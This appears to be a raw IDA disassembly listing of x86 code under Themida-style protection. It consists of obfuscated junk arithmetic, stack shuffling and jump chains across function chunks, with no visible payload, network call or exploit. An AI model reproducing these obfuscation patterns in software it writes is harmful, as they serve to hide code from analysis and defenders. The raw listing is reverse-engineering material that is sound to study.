loc_596325:				; CODE XREF: sub_58B4D6-EBj
		pop	ebx
		add	eax, 3C9C7770h
		sub	eax, ebx
		sub	eax, 3C9C7770h
		push	ebx
		push	edx
		mov	edx, 624569C2h
		xor	edx, 4E3404DBh
		sub	edx, 14B13395h
		add	edx, 36BE3AC9h
		mov	ebx, edx
		pop	edx
		jmp	loc_594CC1
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		push	ebx
		mov	ebx, 7F645630h
		xor	[esp+4], ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	eax, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	edi
		jmp	loc_58E58A
; ---------------------------------------------------------------------------


loc_59637B:				; CODE XREF: Themida_:00591558j
		pop	esp
		mov	ax, [esp]
		push	ebp
		jmp	loc_59009C
; ---------------------------------------------------------------------------


loc_596386:				; CODE XREF: Themida_:00594351j
		dec	esi
		push	esi
		not	dword ptr [esp]
		pop	esi
		not	esi
		push	eax
		mov	eax, 58D00623h
		inc	eax
		sub	eax, 51BB4308h
		add	eax, 847ACEFDh
		jmp	loc_58CD07
; ---------------------------------------------------------------------------


loc_5963A4:				; CODE XREF: Themida_:00590CB2j
		push	eax
		push	bx
		push	edx
		push	ecx
		jmp	loc_59273D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_5963AE:				; CODE XREF: sub_5EC2E8-62019j
		add	al, 4Bh
		add	al, 9Eh
		sub	al, bl
		sub	al, 9Eh
		push	ebx
		push	eax
		push	edx
		mov	dh, 3Dh
		and	dh, 8Ch
		jno	loc_597ED0
		not	dh
		dec	dh
		sub	dh, 23h
		jmp	loc_58CEC2
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
		lodsd
		push	ebx
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_5963D2:				; CODE XREF: sub_5916C4-30Dj
		mov	esi, 65F117F6h
		or	esi, 0A0B0623h
		dec	esi
		push	0
		sub	[esp+2+var_4+2], esi
		pop	esi
		dec	esi
		sub	esi, 9004E805h
		jmp	loc_590660
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_5963F3:				; CODE XREF: Themida_:00590AFCj
		add	esp, 4
		jmp	loc_58D996
; ---------------------------------------------------------------------------


loc_5963FE:				; CODE XREF: Themida_:0059600Ej
		pop	edx
		pop	edi
		add	esi, 4E855C38h
		sub	esi, 6CBF4333h
		jmp	loc_58FB8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_596411:				; CODE XREF: sub_58C17E+B4C5j
		add	esp, 4
		shr	eax, 0Ch
		jmp	loc_595D6F
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_59641C:				; CODE XREF: sub_5916C4-1069j
		mov	edx, [esp+0]
		push	edx
		jmp	loc_595DA2
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_596425:				; CODE XREF: sub_590467-2E74j
		add	bh, 6Bh
		mov	ecx, [esp-6+arg_0+2]
		add	esp, 4
		push	small 39DEh
		mov	word ptr [esp-8+arg_4],	cx
		mov	ch, 0FCh
		add	bh, ch
		pop	cx
		mov	cl, bh
		pop	ebx
		push	eax
		jmp	loc_58F5D3
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_596445:				; CODE XREF: sub_58F5B5+7C55j
		xor	cl, 9Dh
		sub	esp, 4
		mov	[esp+10h+var_10], eax
		mov	ah, 0DEh
		sub	ah, 0FEh
		jmp	loc_59120D
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_59645B:				; CODE XREF: Themida_:0059194Fj
		mov	eax, 39264A9Bh
		sub	ebx, 51A2444Bh
		add	ebx, eax
		add	ebx, 51A2444Bh
		pop	eax
		push	small word ptr [eax]
		jmp	loc_593916
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_596477:				; CODE XREF: sub_5916C4-CA4j
		pop	esp
		add	[esp-4+arg_0], eax
		pushf
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E3A6


loc_596481:				; CODE XREF: sub_58E3A6+35E0j
		sub	edx, 64636A58h
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		add	edx, 1C5F236Fh
		push	ebp
		mov	ebp, 56D1014Bh
		xor	ebp, 29A83750h
		jmp	loc_596CEF
; END OF FUNCTION CHUNK	FOR sub_58E3A6
; ---------------------------------------------------------------------------


loc_5964A4:				; CODE XREF: Themida_:0058D0DBj
		push	edx
		mov	edx, 4490398Eh
		sub	edx, 213E255Dh
		mov	ecx, edx
		pop	edx
		jmp	loc_58E2F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_5964B8:				; CODE XREF: sub_59762D-3320j
		add	eax, 502B6903h
		sub	eax, edi
		sub	eax, 502B6903h
		pop	edi
		jmp	loc_58E6A9
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_5964CA:				; CODE XREF: Themida_:0058E566j
					; Themida_:0059079Bj
		xor	ecx, 1B19686Fh
		js	loc_591375
		jmp	loc_595374
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_5964DB:				; CODE XREF: sub_5EC2E8-5AF97j
		sub	eax, 29835A61h
		jmp	loc_597648
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_5964E5:				; CODE XREF: sub_590467+6BBj
		pop	ecx
		sub	al, bl
		mov	ebx, [esp+0]
		add	esp, 4
		sub	esp, 4
		jmp	loc_591BA0
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_5964F6:				; CODE XREF: sub_590010+2EFDj
		mov	edi, 7FE78ADh
		sub	edi, 0BE503E93h
		add	ecx, edi
		jmp	loc_594CDA
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_596508:				; CODE XREF: Themida_:00597B70j
		sub	esi, 6EDE450Fh
		sub	esi, 1A8479B3h
		sub	esi, 79642ACAh
		sub	esi, 56A7FE1Fh
		or	eax, esi
		jmp	loc_59355A
; ---------------------------------------------------------------------------


loc_596527:				; CODE XREF: Themida_:00590D8Ej
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_59652C:				; CODE XREF: Themida_:00592CDDj
		pop	ebp
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_5930CE
; ---------------------------------------------------------------------------


loc_596538:				; CODE XREF: Themida_:005909A1j
		mov	eax, esp
		jmp	loc_58D5CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_59653F:				; CODE XREF: sub_595123-A13Ej
					; Themida_:loc_59325Cj
		mov	eax, [esp+8+var_8]
		add	esp, 4
		add	esp, 4
		jmp	loc_597C55
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------


loc_596550:				; CODE XREF: Themida_:005906CFj
		push	esi
		mov	esi, 7AA97A48h
		shr	esi, 1
		sub	esi, 43214E51h
		add	esi, 5A0E1967h
		add	esi, 0C0368373h
		and	edx, esi
		pop	esi
		or	edx, 1460696Fh
		inc	edx
		jmp	loc_592C70
; ---------------------------------------------------------------------------


loc_596579:				; CODE XREF: Themida_:loc_58E608j
		jmp	loc_590600
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_59657E:				; CODE XREF: sub_590467-5D55j
		pop	[esp-4+arg_0]
		mov	esp, [esp-8+arg_4]
		add	word ptr [esp-8+arg_4],	ax
		pushf
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B4D6


loc_59658E:				; CODE XREF: sub_58B4D6+6F5Dj
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		jmp	loc_58E21B
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------


loc_5965A4:				; CODE XREF: Themida_:0058BF19j
		inc	al
		sub	al, 65h
		sub	dh, 0DEh
		add	dh, al
		add	dh, 0DEh
		pop	eax
		sub	dh, 33h
		sub	dh, 24h
		push	4652h
		mov	[esp], ecx
		mov	cl, 0C1h
		add	dh, cl
		pop	ecx
		sub	al, dh
		pop	edx
		push	ebx
		jmp	loc_5977AD

; =============== S U B	R O U T	I N E =======================================



sub_5965CD	proc near		; CODE XREF: sub_58C17E-AD3j

; FUNCTION CHUNK AT 0058C0CD SIZE 0000000B BYTES

		push	ebp
		mov	ebp, ecx
		mov	ebx, ebp
		pop	ebp
		jmp	loc_58C0CD
sub_5965CD	endp

; ---------------------------------------------------------------------------


loc_5965D8:				; CODE XREF: Themida_:0058ACEFj
		mov	ecx, 26836A92h
		add	[esp+8], ecx
		pop	ecx
		jmp	loc_58B383
; ---------------------------------------------------------------------------


loc_5965E7:				; CODE XREF: Themida_:005949A2j
		not	edi
		push	ebp
		mov	ebp, 1
		add	edi, ebp
		pop	ebp
		xchg	edi, esi
		xor	esi, 69CD4DDBh
		neg	esi
		shr	esi, 1
		add	esi, 0A5A6A105h
		mov	ebp, esi
		pop	esi
		jmp	loc_594214
; ---------------------------------------------------------------------------


loc_59660C:				; CODE XREF: Themida_:00590A52j
		push	297Bh
		jmp	loc_58BE16
; ---------------------------------------------------------------------------


loc_596616:				; CODE XREF: Themida_:005978F1j
		or	ecx, 390B1356h
		add	ecx, 8200C8AEh
		add	ebp, ecx
		jmp	loc_58F5E1
; ---------------------------------------------------------------------------


loc_596629:				; CODE XREF: Themida_:00592E7Aj
		mov	si, [esp]
		add	esp, 2
		push	small 6A8Ch
		mov	[esp], si
		push	small word ptr [esp+2]
		pop	si
		pop	small word ptr [esp]
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EC96


loc_59664B:				; CODE XREF: sub_58EC96-2FA2j
		sub	bl, al
		add	bl, 0BEh
		jmp	loc_5946B3
; END OF FUNCTION CHUNK	FOR sub_58EC96
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_596655:				; CODE XREF: sub_5916C4-1DFEj
		xor	ebx, eax
		jmp	loc_58CCA5
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_59665C:				; CODE XREF: sub_58F5B5-526Aj
		push	eax
		push	[esp+8+var_4]
		pop	eax
		jmp	loc_58FF8A
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_596667:				; CODE XREF: Themida_:00592D5Ej
		push	1927h
		jmp	loc_594B1E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_596671:				; CODE XREF: sub_5916CB+3C08j
		push	1994h
		mov	[esp+14h+var_14], ebx
		jmp	loc_596EC3
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------


loc_59667E:				; CODE XREF: Themida_:00591524j
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 30332356h
		dec	eax
		push	ecx
		mov	ecx, 40D835D1h
		sub	ecx, 599D3814h
		neg	ecx
		push	ebx
		push	ebp
		mov	ebp, 0BC50899h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_592009
; ---------------------------------------------------------------------------


loc_5966A8:				; CODE XREF: Themida_:0058B8F7j
		add	edi, 20343098h
		add	edi, esi
		jmp	loc_58BF67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_5966B5:				; CODE XREF: sub_58C17E-1996j
		push	esi
		push	3E5A6B2Bh
		pop	esi
		jmp	loc_591516
; END OF FUNCTION CHUNK	FOR sub_58C17E

; =============== S U B	R O U T	I N E =======================================



sub_5966C1	proc near		; CODE XREF: sub_5916C4:loc_593026j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058AFEA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058C210 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058E524 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005956A6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005972A4 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00597305 SIZE 0000001F BYTES

		push	ebp
		mov	ebp, 247D70B9h
		xor	edi, ebp
		pop	ebp
		add	edi, 9A49F687h
		jmp	loc_597305
sub_5966C1	endp

; ---------------------------------------------------------------------------


loc_5966D5:				; CODE XREF: Themida_:00596A67j
		push	edi
		pop	ecx
		jmp	loc_58A89B
; ---------------------------------------------------------------------------


loc_5966DC:				; CODE XREF: Themida_:0058B56Ej
		sub	ah, 0FFh
		push	edx
		mov	dl, 0E5h
		push	ebx
		mov	bh, 0F5h
		jmp	loc_5934D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_5966EA:				; CODE XREF: sub_58C17E-1699j
		pop	ecx
		pop	ecx
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		mov	ebx, 6C487D9Ah
		xor	ecx, ebx
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		mov	[edi+20h], ecx
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_59259A
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_596713:				; CODE XREF: sub_5916CB-5C06j
		mov	ebp, eax
		jmp	loc_597D45
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_59671A:				; CODE XREF: sub_590467-2251j
		sub	edx, 6F356822h
		sub	edx, 174149EFh
		push	ebp
		mov	ebp, 7BE50EC1h
		jmp	loc_58DE71
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_596731:				; CODE XREF: sub_58C17E+2CC9j
		pop	esi
		jmp	loc_58D777
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_596737:				; CODE XREF: sub_58F5B5-42EBj
		pop	esp
		jmp	loc_596C87
; ---------------------------------------------------------------------------


loc_59673D:				; CODE XREF: sub_58F5B5-AACj
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	ebp
		mov	ebp, esp
		jmp	loc_59161F
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_59674C:				; CODE XREF: sub_58C17E+1605j
					; sub_5916CB:loc_5900F4j
		shl	eax, 6
		add	eax, 35B55D95h
		jmp	loc_58DA2D
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_596759:				; CODE XREF: Themida_:00591C7Aj
		mov	edi, [esp]
		add	esp, 4
		push	2362h
		mov	[esp], edi
		push	eax
		mov	eax, 6E17339h
		or	eax, 522401FCh
		jnp	loc_58F04D
		inc	eax
		jz	loc_59572E
		shl	eax, 1
		mov	ch, 16h
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_596786:				; CODE XREF: sub_59762D-CE95j
					; sub_58C17E+18B8j
		xor	ebp, [esp+4+var_4]
		xor	[esp+4+var_4], ebp
		xor	ebp, [esp+4+var_4]
		pop	esp
		rol	dword ptr [esp+0], cl
		pushf
		jmp	loc_5971BC
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_596799:				; CODE XREF: Themida_:0058F162j
		push	edi
		mov	edi, 685559B4h
		jmp	loc_58EE6D
; ---------------------------------------------------------------------------


loc_5967A4:				; CODE XREF: Themida_:0059511Ej
		mov	ch, bh
		jmp	loc_596E56
; ---------------------------------------------------------------------------


loc_5967AB:				; CODE XREF: Themida_:00597C80j
		mov	ebp, [esp]
		add	esp, 4
		xor	ecx, [esp]
		jmp	loc_58A7C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_5967BC:				; CODE XREF: sub_58C17E-1910j
		push	ecx
		jmp	loc_59216A
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_5967C2:				; CODE XREF: sub_5916C4+1554j
		push	ecx
		jmp	loc_595602
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_5967C8:				; CODE XREF: sub_58F5B5-335Fj
		push	53FFh
		mov	[esp-8+arg_4], ebx
		mov	ebx, 4
		and	ecx, ebx
		push	[esp-8+arg_4]
		pop	ebx
		push	ebp
		push	486Ch
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		mov	ebp, [esp+0]
		jmp	loc_58FCD4
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_5967F0:				; CODE XREF: Themida_:00591C99j
		mov	ah, 34h
		xor	ah, 0A5h
		jg	loc_594EE4
		inc	ah
		jnz	loc_58C803
		shl	ah, 3
		jmp	loc_58DCC0
; ---------------------------------------------------------------------------
		sub	ebp, 7E96BDFBh
		push	esp


loc_596812:				; CODE XREF: Themida_:00596E12j
		pop	esp
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_58B051
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5936D6


loc_59681E:				; CODE XREF: sub_5936D6+2129j
		push	eax
		mov	eax, 0
		add	eax, ecx
		mov	[eax], dh
		pop	eax
		jmp	loc_59538A
; END OF FUNCTION CHUNK	FOR sub_5936D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_59682E:				; CODE XREF: sub_5916CB-3453j
		push	eax
		mov	eax, 5AD52A50h
		dec	eax
		jo	loc_594BAC
		neg	eax
		jbe	loc_58F2DF
		add	eax, 0B13531EBh
		not	eax
		shr	eax, 1
		inc	eax
		dec	eax
		mov	al, bh


loc_596850:				; CODE XREF: Themida_:0058BCBDj
		not	edx
		jmp	loc_593BD3
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------


loc_596857:				; CODE XREF: Themida_:0058D87Ej
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_58E1FB
; ---------------------------------------------------------------------------


loc_596863:				; CODE XREF: Themida_:00596F56j
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_596868:				; CODE XREF: sub_5916C4-5133j
		push	edx
		mov	dh, 0D8h
		mov	bh, dh
		pop	edx
		sub	esp, 4
		mov	[esp-14h+arg_10], edx
		mov	dh, 0C8h
		jmp	loc_592C12
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_59687B:				; CODE XREF: Themida_:00594640j
		mov	bh, 2Ch
		add	al, 0EFh
		sub	al, bh
		sub	al, 0EFh
		mov	ebx, [esp]
		add	esp, 4
		sub	al, bl
		jmp	loc_593649
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	31A3h
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		push	3DF7h
		mov	[esp], ebp
		jmp	loc_593C38
; ---------------------------------------------------------------------------


loc_5968B3:				; CODE XREF: Themida_:00593538j
		xchg	bl, dh
		not	bl
		xchg	bl, dh
		or	dh, 1Dh
		shl	dh, 1
		jz	loc_58C7C0
		add	dh, 0A8h
		jb	loc_591256
		push	ecx
		push	edx
		jmp	loc_58D939
; ---------------------------------------------------------------------------
		jmp	loc_596F03
; ---------------------------------------------------------------------------


loc_5968D9:				; CODE XREF: Themida_:0058FA10j
					; Themida_:00594FCDj
		shl	dh, 3
		shl	dh, 3
		jz	loc_59479E
		shr	dh, 4
		jnz	loc_59733B
		xor	dh, 4Ch
		mov	bh, dh
		pop	edx
		neg	bh
		shr	bh, 1
		mov	ecx, ecx


loc_5968FA:				; CODE XREF: Themida_:0058E4C6j
		xor	ebx, 18BC5B2Fh
		jge	loc_58D98E
		shr	ebx, 5
		jmp	loc_5956D6
; ---------------------------------------------------------------------------
		push	edx
		jmp	loc_58D38E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598028


loc_596914:				; CODE XREF: sub_598028+3j
		mov	[esp+4+var_4], edx
		push	esi
		push	edx
		push	6A5C0D21h
		jmp	loc_591866
; END OF FUNCTION CHUNK	FOR sub_598028
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_596923:				; CODE XREF: sub_5EC2E8-5F7DBj
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5948B7


loc_596928:				; CODE XREF: sub_5948B7+23j
		add	ebp, eax
		add	ebp, 68B54411h
		pop	eax
		push	edx
		mov	edx, 4
		add	ebp, 40476E9Ah
		add	ebp, edx
		sub	ebp, 40476E9Ah
		pop	edx
		xchg	ebp, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		push	551Ch
		jmp	loc_590E5C
; END OF FUNCTION CHUNK	FOR sub_5948B7
; ---------------------------------------------------------------------------
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		push	5156h
		mov	[esp], edx
		jmp	loc_58A350
; ---------------------------------------------------------------------------


loc_596969:				; CODE XREF: Themida_:0058A6AFj
					; Themida_:00594561j
		push	ebp
		mov	ebp, 4C374FCFh
		add	ebp, 0B3C8B035h
		add	esi, ebp
		pop	ebp
		jmp	loc_596CB1
; ---------------------------------------------------------------------------


loc_59697D:				; CODE XREF: Themida_:0058EF94j
		mov	ebp, 3A87527Eh
		add	[esp+4], ebp
		jmp	loc_59431A
; ---------------------------------------------------------------------------


loc_59698B:				; CODE XREF: Themida_:005907B1j
		mov	esi, esp
		jmp	loc_58C6EC
; ---------------------------------------------------------------------------


loc_596992:				; CODE XREF: Themida_:00591487j
		add	ah, 4Bh
		jmp	loc_5979A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59524C


loc_59699A:				; CODE XREF: sub_59524C-9339j
		push	esi
		jmp	loc_594FE9
; END OF FUNCTION CHUNK	FOR sub_59524C
; ---------------------------------------------------------------------------


loc_5969A0:				; CODE XREF: Themida_:00594F82j
		xor	esi, 0A4729D24h
		push	5B56h
		mov	[esp], esi
		jmp	loc_58B975
; ---------------------------------------------------------------------------


loc_5969B3:				; CODE XREF: Themida_:0058D3E3j
		push	esi
		not	dword ptr [esp]
		jmp	loc_58C63B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_5969BC:				; CODE XREF: sub_58F5B5+8989j
		mov	edi, [esp+0]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp-4+arg_0], esi
		mov	esi, 38D300Eh
		inc	esi
		push	5D3Ah
		mov	[esp+0], eax
		push	esi
		push	27BA1453h
		jmp	loc_58B92E
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_5969EA:				; CODE XREF: sub_5916CB-37F8j
		add	ebx, ecx
		push	[esp+4+var_4]
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		add	esp, 4
		jmp	loc_597D1F
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------


loc_596A03:				; CODE XREF: Themida_:00597B3Ej
		mov	[esp], ebp
		push	4
		pop	ebp
		add	edi, ebp
		jmp	loc_5909BF
; ---------------------------------------------------------------------------


loc_596A13:				; CODE XREF: Themida_:005904CCj
					; Themida_:005962ACj
		add	ch, 4Dh
		mov	bl, ch
		jmp	loc_5908A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_596A1D:				; CODE XREF: sub_590467-50E9j
		push	dx
		mov	dl, 1Fh
		xor	bh, dl
		pop	dx
		push	48D3h
		jmp	loc_5975AC
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	edx
		mov	edx, 3DE43D4Ah
		inc	edx
		add	edx, 0E79D1799h
		jmp	loc_597123
; ---------------------------------------------------------------------------


loc_596A64:				; CODE XREF: Themida_:005914BEj
		pop	edi
		pop	ebx
		push	ecx
		jmp	loc_5966D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_596A6C:				; CODE XREF: sub_590467-124Dj
		and	al, dh
		jmp	loc_5907FE
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_596A73:				; CODE XREF: Themida_:0058EED8j
					; Themida_:0058F0B2j
		pop	ebx
		jmp	loc_58F817
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	7B82h
		jmp	loc_592A1F
; ---------------------------------------------------------------------------


loc_596A87:				; CODE XREF: Themida_:005972D6j
		pop	esi
		jmp	loc_592498
; ---------------------------------------------------------------------------


loc_596A8D:				; CODE XREF: Themida_:0058A426j
		mov	ch, 0E3h
		jmp	loc_593279
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_596A94:				; CODE XREF: sub_58C17E+6CA6j
		mov	ecx, [esp+0]
		add	esp, 4
		xchg	esi, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], cx
		jmp	loc_5937D7
; ---------------------------------------------------------------------------


loc_596AAC:				; CODE XREF: sub_58C17E+8717j
		pop	edx
		jmp	loc_58BDBD
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_596AB2:				; CODE XREF: Themida_:0058F6E9j
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	dword ptr [eax]
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_596ABF:				; CODE XREF: Themida_:0058F1E8j
		add	ebp, 0C7350CFBh
		sub	esi, ebp
		pop	ebp
		sub	esi, ecx
		jmp	loc_58B82C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_596ACF:				; CODE XREF: sub_58F5B5+54F7j
		add	ebp, 76162828h
		jmp	loc_59593B
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_596ADA:				; CODE XREF: sub_590010+7EA3j
		jmp	loc_595BE8
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_596ADF:				; CODE XREF: sub_5916C4-4295j
		push	esi
		mov	esi, 57BE1A7Dh
		jmp	loc_58CDEC
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_596AEA:				; CODE XREF: Themida_:00596B8Dj
		add	al, bl
		add	al, 0B3h
		add	al, 9Bh
		push	ebx
		mov	bh, 0B0h
		jmp	loc_58A90F
; ---------------------------------------------------------------------------


loc_596AF8:				; CODE XREF: Themida_:0058C79Dj
		mov	ebp, 4
		push	edx
		mov	edx, 2732694h
		xor	edx, 235B08CEh
		push	40A8h
		mov	[esp], ebp
		mov	ebp, 78AD2AA6h
		or	edx, ebp
		pop	ebp
		neg	edx
		or	edx, 156C7135h
		add	edx, 0A1007698h
		add	ecx, edx
		pop	edx
		jmp	loc_58A54F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B4D6


loc_596B2F:				; CODE XREF: sub_58B4D6+2A45j
		xor	ebx, 4FF0D73h
		shr	ebx, 4
		not	ebx
		add	ebx, 148892A9h
		xor	ebx, esi
		xor	esi, ebx
		jmp	loc_591970
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------


loc_596B49:				; CODE XREF: Themida_:00593DE8j
		add	esp, 4
		push	edi
		push	44Ch
		mov	[esp], ebp
		jmp	loc_58EC58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_596B5D:				; CODE XREF: sub_58F5B5+137Ej
		mov	esp, [esp+0Ch+var_C]
		mov	[esp+0Ch+var_C], edi
		xor	[esp+0Ch+var_C], offset	word_4D744E
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		push	edx
		mov	edx, offset word_4D744E
		xor	esi, edx
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		push	ebx
		push	edi
		jmp	loc_597396
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_596B8B:				; CODE XREF: Themida_:00595765j
		sub	al, 0B3h
		jmp	loc_596AEA
